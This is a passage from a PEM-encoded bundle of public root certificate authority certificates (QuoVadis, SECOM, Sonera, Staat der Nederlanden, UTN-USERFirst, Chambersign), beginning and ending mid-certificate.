li4kVEAkOPcahdxYTMukJ0KX0J+DisPkBgNbAKVRHnAEdOLB1Dqr1607BxgFjv2D
rOpm2RgbaIr1VxqYuvXtdj182d6UajtLF8HVj71lODqV0D1VNk7feVcxKh7YWWVJ
WCCYfqtffp/p1k3sg3Spx2zY7ilKhSoGFPlU5tPaZQeLYzcS19Dsw3sgQUSj7cug
F+FxZc4dZjH3dgEZyH0DWLaVSR2mEiboxgx24ONmy+pdpibu5cxfvWenAScOospU
xbF6lR1xHkopigPcakXBpBlebzbNw6Kwt/5cOOJSvPhEQ+aQuwIDAQABo4ICUjCC
Ak4wPQYIKwYBBQUHAQEEMTAvMC0GCCsGAQUFBzABhiFodHRwczovL29jc3AucXVv
dmFkaXNvZmZzaG9yZS5jb20wDwYDVR0TAQH/BAUwAwEB/zCCARoGA1UdIASCAREw
ggENMIIBCQYJKwYBBAG+WAABMIH7MIHUBggrBgEFBQcCAjCBxxqBxFJlbGlhbmNl
IG9uIHRoZSBRdW9WYWRpcyBSb290IENlcnRpZmljYXRlIGJ5IGFueSBwYXJ0eSBh
c3N1bWVzIGFjY2VwdGFuY2Ugb2YgdGhlIHRoZW4gYXBwbGljYWJsZSBzdGFuZGFy
ZCB0ZXJtcyBhbmQgY29uZGl0aW9ucyBvZiB1c2UsIGNlcnRpZmljYXRpb24gcHJh
Y3RpY2VzLCBhbmQgdGhlIFF1b1ZhZGlzIENlcnRpZmljYXRlIFBvbGljeS4wIgYI
KwYBBQUHAgEWFmh0dHA6Ly93d3cucXVvdmFkaXMuYm0wHQYDVR0OBBYEFItLbe3T
KbkGGew5Oanwl4Rqy+/fMIGuBgNVHSMEgaYwgaOAFItLbe3TKbkGGew5Oanwl4Rq
y+/foYGEpIGBMH8xCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRpcyBMaW1p
dGVkMSUwIwYDVQQLExxSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MS4wLAYD
VQQDEyVRdW9WYWRpcyBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5ggQ6tlCL
MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQUFAAOCAQEAitQUtf70mpKnGdSk
fnIYj9lofFIk3WdvOXrEql494liwTXCYhGHoG+NpGA7O+0dQoE7/8CQfvbLO9Sf8
7C9TqnN7Az10buYWnuulLsS/VidQK2K6vkscPFVcQR0kvoIgR13VRH56FmjffU1R
cHhXHTMe/QKZnAzNCgVPx7uOpHX6Sm2xgI4JVrmcGmD+XcHXetwReNDWXcG31a0y
mQM6isxUJTkxgXsTIlG6Rmyhu576BGxJJnSP0nPrzDCi5upZIof4l/UO/erMkqQW
xFIY6iHOsfHmhIHluqmGKPJDWl0Snawe2ajlCmqnf6CHKc/yiU3U7MXi5nrQNiOK
SnQ2+Q==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDWjCCAkKgAwIBAgIBADANBgkqhkiG9w0BAQUFADBQMQswCQYDVQQGEwJKUDEY
MBYGA1UEChMPU0VDT00gVHJ1c3QubmV0MScwJQYDVQQLEx5TZWN1cml0eSBDb21t
dW5pY2F0aW9uIFJvb3RDQTEwHhcNMDMwOTMwMDQyMDQ5WhcNMjMwOTMwMDQyMDQ5
WjBQMQswCQYDVQQGEwJKUDEYMBYGA1UEChMPU0VDT00gVHJ1c3QubmV0MScwJQYD
VQQLEx5TZWN1cml0eSBDb21tdW5pY2F0aW9uIFJvb3RDQTEwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQCzs/5/022x7xZ8V6UMbXaKL0u/ZPtM7orw8yl8
9f/uKuDp6bpbZCKamm8sOiZpUQWZJtzVHGpxxpp9Hp3dfGzGjGdnSj74cbAZJ6kJ
DKaVv0uMDPpVmDvY6CKhS3E4eayXkmmziX7qIWgGmBSWh9JhNrxtJ1aeV+7AwFb9
Ms+k2Y7CI9eNqPPYJayX5HA49LY6tJ07lyZDo6G8SVlyTCMwhwFY9k6+HGhWZq/N
QV3Is00qVUarH9oe4kA92819uZKAnDfdDJZkndwi92SL32HeFZRSFaB9UslLqCHJ
xrHty8OVYNEP8Ktw+N/LTX7s1vqr2b1/VPKl6Xn62dZ2JChzAgMBAAGjPzA9MB0G
A1UdDgQWBBSgc0mZaNyFW2XjmygvV5+9M7wHSDALBgNVHQ8EBAMCAQYwDwYDVR0T
AQH/BAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAaECpqLvkT115swW1F7NgE+vG
kl3g0dNq/vu+m22/xwVtWSDEHPC32oRYAmP6SBbvT6UL90qY8j+eG61Ha2POCEfr
Uj94nK9NrvjVT8+amCoQQTlSxN3Zmw7vkwGusi7KaEIkQmywszo+zenaSMQVy+n5
Bw+SUEmK3TGXX8npN6o7WWWXlDLJs58+OmJYxUmtYg5xpTKqL8aJdkNAExNnPaJU
JRDL8Try2frbSVa7pv6nQTXD4IhhyYjH3zYQIphZ6rBK+1YWc26sTfcioU+tHXot
RSflMMFe8toTyyVCUZVHA4xsIcx0Qu1T/zOLjw9XARYvz6buyXAiFL39vmwLAw==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDIDCCAgigAwIBAgIBJDANBgkqhkiG9w0BAQUFADA5MQswCQYDVQQGEwJGSTEP
MA0GA1UEChMGU29uZXJhMRkwFwYDVQQDExBTb25lcmEgQ2xhc3MxIENBMB4XDTAx
MDQwNjEwNDkxM1oXDTIxMDQwNjEwNDkxM1owOTELMAkGA1UEBhMCRkkxDzANBgNV
BAoTBlNvbmVyYTEZMBcGA1UEAxMQU29uZXJhIENsYXNzMSBDQTCCASIwDQYJKoZI
hvcNAQEBBQADggEPADCCAQoCggEBALWJHytPZwp5/8Ue+H887dF+2rDNbS82rDTG
29lkFwhjMDMiikzujrsPDUJVyZ0upe/3p4zDq7mXy47vPxVnqIJyY1MPQYx9EJUk
oVqlBvqSV536pQHydekfvFYmUk54GWVYVQNYwBSujHxVX3BbdyMGNpfzJLWaRpXk
3w0LBUXl0fIdgrvGE+D+qnr9aTCU89JFhfzyMlsy3uhsXR/LpCJ0sICOXZT3BgBL
qdReLjVQCfOAl/QMF6452F/NM8EcyonCIvdFEu1eEpOdY6uCLrnrQkFEy0oaAIIN
nvmLVz5MxxftLItyM19yejhW1ebZrgUaHXVFsculJRwSVzb9IjcCAwEAAaMzMDEw
DwYDVR0TAQH/BAUwAwEB/zARBgNVHQ4ECgQIR+IMi/ZTiFIwCwYDVR0PBAQDAgEG
MA0GCSqGSIb3DQEBBQUAA4IBAQCLGrLJXWG04bkruVPRsoWdd44W7hE928Jj2VuX
ZfsSZ9gqXLar5V7DtxYvyOirHYr9qxp81V9jz9yw3Xe5qObSIjiHBxTZ/75Wtf0H
DjxVyhbMp6Z3N/vbXB9OWQaHowND9Rart4S9Tu+fMTfwRvFAttEMpWT4Y14h21VO
TzF2nBBhjrZTOqMRvq9tfB69ri3iDGnHhVNoomG6xT60eVR4ngrHAr5i0RGCS2Uv
kVrCqIexVmiUefkl98HVrhq4uz2PqYo4Ffdz0Fpg0YCw8NzVUM1O7pJIae2yIx4w
zMiUyLb1O4Z/P6Yun/Y+LLWSlj7fLJOK/4GMDw9ZIRlXvVWa
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDIDCCAgigAwIBAgIBHTANBgkqhkiG9w0BAQUFADA5MQswCQYDVQQGEwJGSTEP
MA0GA1UEChMGU29uZXJhMRkwFwYDVQQDExBTb25lcmEgQ2xhc3MyIENBMB4XDTAx
MDQwNjA3Mjk0MFoXDTIxMDQwNjA3Mjk0MFowOTELMAkGA1UEBhMCRkkxDzANBgNV
BAoTBlNvbmVyYTEZMBcGA1UEAxMQU29uZXJhIENsYXNzMiBDQTCCASIwDQYJKoZI
hvcNAQEBBQADggEPADCCAQoCggEBAJAXSjWdyvANlsdE+hY3/Ei9vX+ALTU74W+o
Z6m/AxxNjG8yR9VBaKQTBME1DJqEQ/xcHf+Js+gXGM2RX/uJ4+q/Tl18GybTdXnt
5oTjV+WtKcT0OijnpXuENmmz/V52vaMtmdOQTiMofRhj8VQ7Jp12W5dCsv+u8E7s
3TmVToMGf+dJQMjFAbJUWmYdPfz56TwKnoG4cPABi+QjVHzIrviQHgCWctRUz2Ej
vOr7nQKV0ba5cTppCD8PtOFCx4j1P5iop7oc4HFx71hXgVB6XGt0Rg6DA5jDjqhu
8nYybieDwnPz3BjotJPqdURrBGAgcVeHnfO+oJAjPYok4doh28MCAwEAAaMzMDEw
DwYDVR0TAQH/BAUwAwEB/zARBgNVHQ4ECgQISqCqWITTXjwwCwYDVR0PBAQDAgEG
MA0GCSqGSIb3DQEBBQUAA4IBAQBazof5FnIVV0sd2ZvnoiYw7JNn39Yt0jSv9zil
zqsWuasvfDXLrNAPtEwr/IDva4yRXzZ299uzGxnq9LIR/WFxRL8oszodv7ND6J+/
3DEIcbCdjdY0RzKQxmUk96BKfARzjzlvF4xytb1LyHr4e4PDKE6cCepnP7JnBBvD
FNr450kkkdAdavphOe9r5yF1BgfYErQhIHBCcYHaPJo2vqZbDWpsmh+Re/n570K6
Tk6ezAyNlNzZRZxe7EJQY670XcSxEtzKO6gunRRaBXW37Ndj4ro1tgQIkejanZz2
ZrUYrAqmVCY0M9IbwdR/GjqOC6oybtv8TyWf2TLHllpwrN9M
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDujCCAqKgAwIBAgIEAJiWijANBgkqhkiG9w0BAQUFADBVMQswCQYDVQQGEwJO
TDEeMBwGA1UEChMVU3RhYXQgZGVyIE5lZGVybGFuZGVuMSYwJAYDVQQDEx1TdGFh
dCBkZXIgTmVkZXJsYW5kZW4gUm9vdCBDQTAeFw0wMjEyMTcwOTIzNDlaFw0xNTEy
MTYwOTE1MzhaMFUxCzAJBgNVBAYTAk5MMR4wHAYDVQQKExVTdGFhdCBkZXIgTmVk
ZXJsYW5kZW4xJjAkBgNVBAMTHVN0YWF0IGRlciBOZWRlcmxhbmRlbiBSb290IENB
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmNK1URF6gaYUmHFtvszn
ExvWJw56s2oYHLZhWtVhCb/ekBPHZ+7d89rFDBKeNVU+LCeIQGv33N0iYfXCxw71
9tV2U02PjLwYdjeFnejKScfST5gTCaI+Ioicf9byEGW07l8Y1Rfj+MX94p2i71MO
hXeiD+EwR+4A5zN9RGcaC1Hoi6CeUJhoNFIfLm0B8mBF8jHrqTFoKbt6QZ7GGX+U
tFE5A3+y3qcym7RHjm+0Sq7lr7HcsBthvJly3uSJt3omXdozSVtSnA71iq3DuD3o
BmrC1SoLbHuEvVYFy4ZlkuxEK7COudxwC0barbxjiDn622r+I/q85Ej0ZytqERAh
SQIDAQABo4GRMIGOMAwGA1UdEwQFMAMBAf8wTwYDVR0gBEgwRjBEBgRVHSAAMDww
OgYIKwYBBQUHAgEWLmh0dHA6Ly93d3cucGtpb3ZlcmhlaWQubmwvcG9saWNpZXMv
cm9vdC1wb2xpY3kwDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBSofeu8Y6R0E3QA
7Jbg0zTBLL9s+DANBgkqhkiG9w0BAQUFAAOCAQEABYSHVXQ2YcG70dTGFagTtJ+k
/rvuFbQvBgwp8qiSpGEN/KtcCFtREytNwiphyPgJWPwtArI5fZlmgb9uXJVFIGzm
eafR2Bwp/MIgJ1HI8XxdNGdphREwxgDS1/PTfLbwMVcoEoJz6TMvplW0C5GUR5z6
u3pCMuiufi3IvKwUv9kP2Vv8wfl6leF9fpb8cbDCTMjfRTTJzg3ynGQI0DvDKcWy
7ZAEwbEpkcUwb8GpcjPM/l0WFywRaed+/sWDCN+83CI6LiBpIzlWYGeQiy52OfsR
iJf2fL1LuCAWZwWN4jvBcj+UlTfHXbme2JOhF4//DGYVwSR8MnwDHTuhWEUykw==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEXjCCA0agAwIBAgIQRL4Mi1AAIbQR0ypoBqmtaTANBgkqhkiG9w0BAQUFADCB
kzELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2Ug
Q2l0eTEeMBwGA1UEChMVVGhlIFVTRVJUUlVTVCBOZXR3b3JrMSEwHwYDVQQLExho
dHRwOi8vd3d3LnVzZXJ0cnVzdC5jb20xGzAZBgNVBAMTElVUTiAtIERBVEFDb3Jw
IFNHQzAeFw05OTA2MjQxODU3MjFaFw0xOTA2MjQxOTA2MzBaMIGTMQswCQYDVQQG
EwJVUzELMAkGA1UECBMCVVQxFzAVBgNVBAcTDlNhbHQgTGFrZSBDaXR5MR4wHAYD
VQQKExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxITAfBgNVBAsTGGh0dHA6Ly93d3cu
dXNlcnRydXN0LmNvbTEbMBkGA1UEAxMSVVROIC0gREFUQUNvcnAgU0dDMIIBIjAN
BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3+5YEKIrblXEjr8uRgnn4AgPLit6
E5Qbvfa2gI5lBZMAHryv4g+OGQ0SR+ysraP6LnD43m77VkIVni5c7yPeIbkFdicZ
D0/Ww5y0vpQZY/KmEQrrU0icvvIpOxboGqBMpsn0GFlowHDyUwDAXlCCpVZvNvlK
4ESGoE1O1kduSUrLZ9emxAW5jh70/P/N5zbgnAVssjMiFdC04MwXwLLA9P4yPykq
lXvY8qdOD1R8oQ2AswkDwf9c3V6aPryuvEeKaq5xyh+xKrhfQgUL7EYw0XILyulW
bfXv33i+Ybqypa4ETLyorGkVl73v67SMvzX41MPRKA5cOp9wGDMgd8SirwIDAQAB
o4GrMIGoMAsGA1UdDwQEAwIBxjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRT
MtGzz3/64PGgXYVOktKeRR20TzA9BgNVHR8ENjA0MDKgMKAuhixodHRwOi8vY3Js
LnVzZXJ0cnVzdC5jb20vVVROLURBVEFDb3JwU0dDLmNybDAqBgNVHSUEIzAhBggr
BgEFBQcDAQYKKwYBBAGCNwoDAwYJYIZIAYb4QgQBMA0GCSqGSIb3DQEBBQUAA4IB
AQAnNZcAiosovcYzMB4p/OL31ZjUQLtgyr+rFywJNn9Q+kHcrpY6CiM+iVnJowft
Gzet/Hy+UUla3joKVAgWRcKZsYfNjGjgaQPpxE6YsjuMFrMOoAyYUJuTqXAJyCyj
j98C5OBxOvG0I3KgqgHf35g+FFCgMSa9KOlaMCZ1+XtgHI3zzVAmbQQnmt/VDUVH
KWss5nbZqSl9Mt3JNjy9rjXxEZ4du5A/EkdOjtd+D2JzHVImOBwYSf0wdJrE5SIv
2MCN7ZF6TACPcn9d2t0bi0Vr591pl6jFVkwPDPafepE39peC4N1xaf92P2BNPM/3
mfnGV/TJVTl4uix5yaaIK/QI
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEojCCA4qgAwIBAgIQRL4Mi1AAJLQR0zYlJWfJiTANBgkqhkiG9w0BAQUFADCB
rjELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2Ug
Q2l0eTEeMBwGA1UEChMVVGhlIFVTRVJUUlVTVCBOZXR3b3JrMSEwHwYDVQQLExho
dHRwOi8vd3d3LnVzZXJ0cnVzdC5jb20xNjA0BgNVBAMTLVVUTi1VU0VSRmlyc3Qt
Q2xpZW50IEF1dGhlbnRpY2F0aW9uIGFuZCBFbWFpbDAeFw05OTA3MDkxNzI4NTBa
Fw0xOTA3MDkxNzM2NThaMIGuMQswCQYDVQQGEwJVUzELMAkGA1UECBMCVVQxFzAV
BgNVBAcTDlNhbHQgTGFrZSBDaXR5MR4wHAYDVQQKExVUaGUgVVNFUlRSVVNUIE5l
dHdvcmsxITAfBgNVBAsTGGh0dHA6Ly93d3cudXNlcnRydXN0LmNvbTE2MDQGA1UE
AxMtVVROLVVTRVJGaXJzdC1DbGllbnQgQXV0aGVudGljYXRpb24gYW5kIEVtYWls
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsjmFpPJ9q0E7YkY3rs3B
YHW8OWX5ShpHornMSMxqmNVNNRm5pELlzkniii8efNIxB8dOtINknS4p1aJkxIW9
hVE1eaROaJB7HHqkkqgX8pgV8pPMyaQylbsMTzC9mKALi+VuG6JG+ni8om+rWV6l
L8/K2m2qL+usobNqqrcuZzWLeeEeaYji5kbNoKXqvgvOdjp6Dpvq/NonWz1zHyLm
SGHGTPNpsaguG7bUMSAsvIKKjqQOpdeJQ/wWWq8dcdcRWdq6hw2v+vPhwvCkxWeM
1tZUOt4KpLoDd7NlyP0e03RiqhjKaJMeoYV+9Udly/hNVyh00jT/MLbu9mIwFIws
6wIDAQABo4G5MIG2MAsGA1UdDwQEAwIBxjAPBgNVHRMBAf8EBTADAQH/MB0GA1Ud
DgQWBBSJgmd9xJ0mcABLtFBIfN49rgRufTBYBgNVHR8EUTBPME2gS6BJhkdodHRw
Oi8vY3JsLnVzZXJ0cnVzdC5jb20vVVROLVVTRVJGaXJzdC1DbGllbnRBdXRoZW50
aWNhdGlvbmFuZEVtYWlsLmNybDAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUH
AwQwDQYJKoZIhvcNAQEFBQADggEBALFtYV2mGn98q0rkMPxTbyUkxsrt4jFcKw7u
7mFVbwQ+zznexRtJlOTrIEy05p5QLnLZjfWqo7NK2lYcYJeA3IKirUq9iiv/Cwm0
xtcgBEXkzYABurorbs6q15L+5K/r9CYdFip/bDCVNy8zEqx/3cfREYxRmLLQo5HQ
rfafnoOTHh1CuEava2bwm3/q4wMC5QJRwarVNZ1yQAOJujEdxRBoUp7fooXFXAim
eOZTT7Hot9MUnpOmw2TjrH5xzbyf6QMbzPvprDHBr3wVdAKZw7JHpsIyYdfHb0gk
USeh1YdV8nuPmD0Wnu51tvjQjvLzxq4oW6fw8zYX/MMF08oDSlQ=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEdDCCA1ygAwIBAgIQRL4Mi1AAJLQR0zYq/mUK/TANBgkqhkiG9w0BAQUFADCB
lzELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2Ug
Q2l0eTEeMBwGA1UEChMVVGhlIFVTRVJUUlVTVCBOZXR3b3JrMSEwHwYDVQQLExho
dHRwOi8vd3d3LnVzZXJ0cnVzdC5jb20xHzAdBgNVBAMTFlVUTi1VU0VSRmlyc3Qt
SGFyZHdhcmUwHhcNOTkwNzA5MTgxMDQyWhcNMTkwNzA5MTgxOTIyWjCBlzELMAkG
A1UEBhMCVVMxCzAJBgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2UgQ2l0eTEe
MBwGA1UEChMVVGhlIFVTRVJUUlVTVCBOZXR3b3JrMSEwHwYDVQQLExhodHRwOi8v
d3d3LnVzZXJ0cnVzdC5jb20xHzAdBgNVBAMTFlVUTi1VU0VSRmlyc3QtSGFyZHdh
cmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCx98M4P7Sof885glFn
0G2f0v9Y8+efK+wNiVSZuTiZFvfgIXlIwrthdBKWHTxqctU8EGc6Oe0rE81m65UJ
M6Rsl7HoxuzBdXmcRl6Nq9Bq/bkqVRcQVLMZ8Jr28bFdtqdt++BxF2uiiPsA3/4a
MXcMmgF6sTLjKwEHOG7DpV4jvEWbe1DByTCP2+UretNb+zNAHqDVmBe8i4fDidNd
oI6yqqr2jmmIBsX6iSHzCJ1pLgkzmykNRg+MzEk0sGlRvfkGzWitZky8PqxhvQqI
DsjfPe58BEydCl5rkdbux+0ojatNh4lz0G6k0B4WixThdkQDf2Os5M1JnMWS9Ksy
oUhbAgMBAAGjgbkwgbYwCwYDVR0PBAQDAgHGMA8GA1UdEwEB/wQFMAMBAf8wHQYD
VR0OBBYEFKFyXyYbKJhDlV0HN9WFlp1L0sNFMEQGA1UdHwQ9MDswOaA3oDWGM2h0
dHA6Ly9jcmwudXNlcnRydXN0LmNvbS9VVE4tVVNFUkZpcnN0LUhhcmR3YXJlLmNy
bDAxBgNVHSUEKjAoBggrBgEFBQcDAQYIKwYBBQUHAwUGCCsGAQUFBwMGBggrBgEF
BQcDBzANBgkqhkiG9w0BAQUFAAOCAQEARxkP3nTGmZev/K0oXnWO6y1n7k57K9cM
//bey1WiCuFMVGWTYGufEpytXoMs61quwOQt9ABjHbjAbPLPSbtNk28Gpgoiskli
CE7/yMgUsogWXecB5BKV5UU0s4tpvc+0hY91UZ59Ojg6FEgSxvunOxqNDYJAB+gE
CJChicsZUN/KHAG8HQQZexB2lzvukJDKxA4fFm517zP4029bHpbj4HR3dHuKom4t
3XbWOTCC8KucUvIqx69JXn7HaOWCgchqJ/kniCrVWFCVH/A7HFe7fRQ5YiuayZSS
KqMiDP+JJn1fIytH1xUdqWqeUQ0qUZ6B+dQ7XnASfxAynB67nfhmqA==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEZjCCA06gAwIBAgIQRL4Mi1AAJLQR0zYt4LNfGzANBgkqhkiG9w0BAQUFADCB
lTELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2Ug
Q2l0eTEeMBwGA1UEChMVVGhlIFVTRVJUUlVTVCBOZXR3b3JrMSEwHwYDVQQLExho
dHRwOi8vd3d3LnVzZXJ0cnVzdC5jb20xHTAbBgNVBAMTFFVUTi1VU0VSRmlyc3Qt
T2JqZWN0MB4XDTk5MDcwOTE4MzEyMFoXDTE5MDcwOTE4NDAzNlowgZUxCzAJBgNV
BAYTAlVTMQswCQYDVQQIEwJVVDEXMBUGA1UEBxMOU2FsdCBMYWtlIENpdHkxHjAc
BgNVBAoTFVRoZSBVU0VSVFJVU1QgTmV0d29yazEhMB8GA1UECxMYaHR0cDovL3d3
dy51c2VydHJ1c3QuY29tMR0wGwYDVQQDExRVVE4tVVNFUkZpcnN0LU9iamVjdDCC
ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAM6qgT+jo2F4qjEAVZURnicP
HxzfOpuCaDDASmEd8S8O+r5596Uj71VRloTN2+O5bj4x2AogZ8f02b+U60cEPgLO
KqJdhwQJ9jCdGIqXsqoc/EHSoTbL+z2RuufZcDX65OeQw5ujm9M89RKZd7G3CeBo
5hy485RjiGpq/gt2yb70IuRnuasaXnfBhQfdDWy/7gbHd2pBnqcP1/vulBe3/IW+
pKvEHDHd17bR5PDv3xaPslKT16HUiaEHLr/hARJCHhrh2JU022R5KP+6LhHC5ehb
kkj7RwvCbNqtMoNB86XlQXD9ZZBt+vpRxPm9lisZBCzTbafc8H9vg2XiaquHhnUC
AwEAAaOBrzCBrDALBgNVHQ8EBAMCAcYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4E
FgQU2u1kdBScFDyr3ZmpvVsoTYs8ydgwQgYDVR0fBDswOTA3oDWgM4YxaHR0cDov
L2NybC51c2VydHJ1c3QuY29tL1VUTi1VU0VSRmlyc3QtT2JqZWN0LmNybDApBgNV
HSUEIjAgBggrBgEFBQcDAwYIKwYBBQUHAwgGCisGAQQBgjcKAwQwDQYJKoZIhvcN
AQEFBQADggEBAAgfUrE3RHjb/c652pWWmKpVZIC1WkDdIaXFwfNfLEzIR1pp6ujw
NTX00CXzyKakh0q9G7FzCL3Uw8q2NbtZhncxzaeAFK4T7/yxSPlrJSUtUbYsbUXB
mMiKVl0+7kNOPmsnjtA6S4ULX9Ptaqd1y9Fahy85dRNacrACgZ++8A+EVCBibGnU
4U3GDZlDAQ0Slox4nb9QorFEqmrPF3rPbw/U+CRVX/A0FklmPlBGyWNxODFiuGK5
81OtbLUrohKqGU8J2l7nk8aOFAj+8DCAGKCGhU3IfdeLA/5u1fedFqySLKAj5ZyR
Uh+U3xeUc8OzwcFxBSAAeL0TUh2oPs0AH8g=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEvTCCA6WgAwIBAgIBADANBgkqhkiG9w0BAQUFADB/MQswCQYDVQQGEwJFVTEn
MCUGA1UEChMeQUMgQ2FtZXJmaXJtYSBTQSBDSUYgQTgyNzQzMjg3MSMwIQYDVQQL
ExpodHRwOi8vd3d3LmNoYW1iZXJzaWduLm9yZzEiMCAGA1UEAxMZQ2hhbWJlcnMg
b2YgQ29tbWVyY2UgUm9vdDAeFw0wMzA5MzAxNjEzNDNaFw0zNzA5MzAxNjEzNDRa
MH8xCzAJBgNVBAYTAkVVMScwJQYDVQQKEx5BQyBDYW1lcmZpcm1hIFNBIENJRiBB
ODI3NDMyODcxIzAhBgNVBAsTGmh0dHA6Ly93d3cuY2hhbWJlcnNpZ24ub3JnMSIw
IAYDVQQDExlDaGFtYmVycyBvZiBDb21tZXJjZSBSb290MIIBIDANBgkqhkiG9w0B
AQEFAAOCAQ0AMIIBCAKCAQEAtzZV5aVdGDDg2olUkfzIx1L4L1DZ77F1c2VHfRtb
unXF/KGIJPov7coISjlUxFF6tdpg6jg8gbLL8bvZkSM/SAFwdakFKq0fcfPJVD0d
BmpAPrMMhe5cG3nCYsS4No41XQEMIwRHNaqbYE6gZj3LJgqcQKH0XZi/caulAGgq
7YN6D6IUtdQis4CwPAxaUWktWBiP7Zme8a7ileb2R6jWDA+wWFjbw2Y3npuRVDM3
0pQcakjJyfKl2qUMI/cjDpwyVV5xnIQFUZot/eZOKjRa3spAN2cMVCFVd9oKDMyX
roDclDZK9D7ONhMeU+SsTjoF7Nuucpw4i9A5O4kKPnf+dQIBA6OCAUQwggFAMBIG
A1UdEwEB/wQIMAYBAf8CAQwwPAYDVR0fBDUwMzAxoC+gLYYraHR0cDovL2NybC5j
aGFtYmVyc2lnbi5vcmcvY2hhbWJlcnNyb290LmNybDAdBgNVHQ4EFgQU45T1sU3p
26EpW1eLTXYGduHRooowDgYDVR0PAQH/BAQDAgEGMBEGCWCGSAGG+EIBAQQEAwIA
BzAnBgNVHREEIDAegRxjaGFtYmVyc3Jvb3RAY2hhbWJlcnNpZ24ub3JnMCcGA1Ud
EgQgMB6BHGNoYW1iZXJzcm9vdEBjaGFtYmVyc2lnbi5vcmcwWAYDVR0gBFEwTzBN
BgsrBgEEAYGHLgoDATA+MDwGCCsGAQUFBwIBFjBodHRwOi8vY3BzLmNoYW1iZXJz
aWduLm9yZy9jcHMvY2hhbWJlcnNyb290Lmh0bWwwDQYJKoZIhvcNAQEFBQADggEB
AAxBl8IahsAifJ/7kPMa0QOx7xP5IV8EnNrJpY0nbJaHkb5BkAFyk+cefV/2icZd
p0AJPaxJRUXcLo0waLIJuvvDL8y6C98/d3tGfToSJI6WjzwFCm/SlCgdbQzALogi
1djPHRPH8EjX1wWnz8dHnjs8NMiAT9QUu/wNUPf6s+xCX6ndbcj0dc97wXImsQEc
XCz9ek60AcUFV7nnPKoF2YjpB0ZBzu9Bga5Y34OirsrXdx/nADydb47kMgkdTXg0
eDQ8lJsm7U9xxhl6vSAiSFr+S30Dt+dYvsYyTnQeaN2oaFuzPu5ifdmA6Ap1erfu
tGWaIZDgqtCYvDi1czyL+Nw=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIExTCCA62gAwIBAgIBADANBgkqhkiG9w0BAQUFADB9MQswCQYDVQQGEwJFVTEn
MCUGA1UEChMeQUMgQ2FtZXJmaXJtYSBTQSBDSUYgQTgyNzQzMjg3MSMwIQYDVQQL
ExpodHRwOi8vd3d3LmNoYW1iZXJzaWduLm9yZzEgMB4GA1UEAxMXR2xvYmFsIENo
YW1iZXJzaWduIFJvb3QwHhcNMDMwOTMwMTYxNDE4WhcNMzcwOTMwMTYxNDE4WjB9
MQswCQYDVQQGEwJFVTEnMCUGA1UEChMeQUMgQ2FtZXJmaXJtYSBTQSBDSUYgQTgy
NzQzMjg3MSMwIQYDVQQLExpodHRwOi8vd3d3LmNoYW1iZXJzaWduLm9yZzEgMB4G
A1UEAxMXR2xvYmFsIENoYW1iZXJzaWduIFJvb3QwggEgMA0GCSqGSIb3DQEBAQUA
A4IBDQAwggEIAoIBAQCicKLQn0KuWxfH2H3PFIP8T8mhtxOviteePgQKkotgVvq0
Mi+ITaFgCPS3CU6gSS9J1tPfnZdan5QEcOw/Wdm3zGaLmFIoCQLfxS+EjXqXd7/s
QJ0lcqu1PzKY+7e3/HKE5TWH+VX6ox8Oby4o3Wmg2UIQxvi1RMLQQ3/bvOSiPGpV
eAp3qdjqGTK3L/5cPxvusZjsyq16aUXjlg9V9ubtdepl6DJWk0aJqCWKZQbua795
B9Dxt6/tLE2Su8CoX6dnfQTyFQhwrJLWfQTSM/tMtgsL+xrJxI0DqX5c8lCrEqWh
z0hQpe/SyBoT+rB/sYIcd2oPX9wLlY/vQ37mRQklAgEDo4IBUDCCAUwwEgYDVR0T
AQH/BAgwBgEB/wIBDDA/BgNVHR8EODA2MDSgMqAwhi5odHRwOi8vY3JsLmNoYW1i
ZXJzaWduLm9yZy9jaGFtYmVyc2lnbnJvb3QuY3JsMB0GA1UdDgQWBBRDnDafsJ4w
TcbOX60Qq+UDpfqpFDAOBgNVHQ8BAf8EBAMCAQYwEQYJYIZIAYb4QgEBBAQDAgAH
MCoGA1UdEQQjMCGBH2NoYW1iZXJzaWducm9vdEBjaGFtYmVyc2lnbi5vcmcwKgYD
VR0SBCMwIYEfY2hhbWJlcnNpZ25yb290QGNoYW1iZXJzaWduLm9yZzBbBgNVHSAE
VDBSMFAGCysGAQQBgYcuCgEBMEEwPwYIKwYBBQUHAgEWM2h0dHA6Ly9jcHMuY2hh
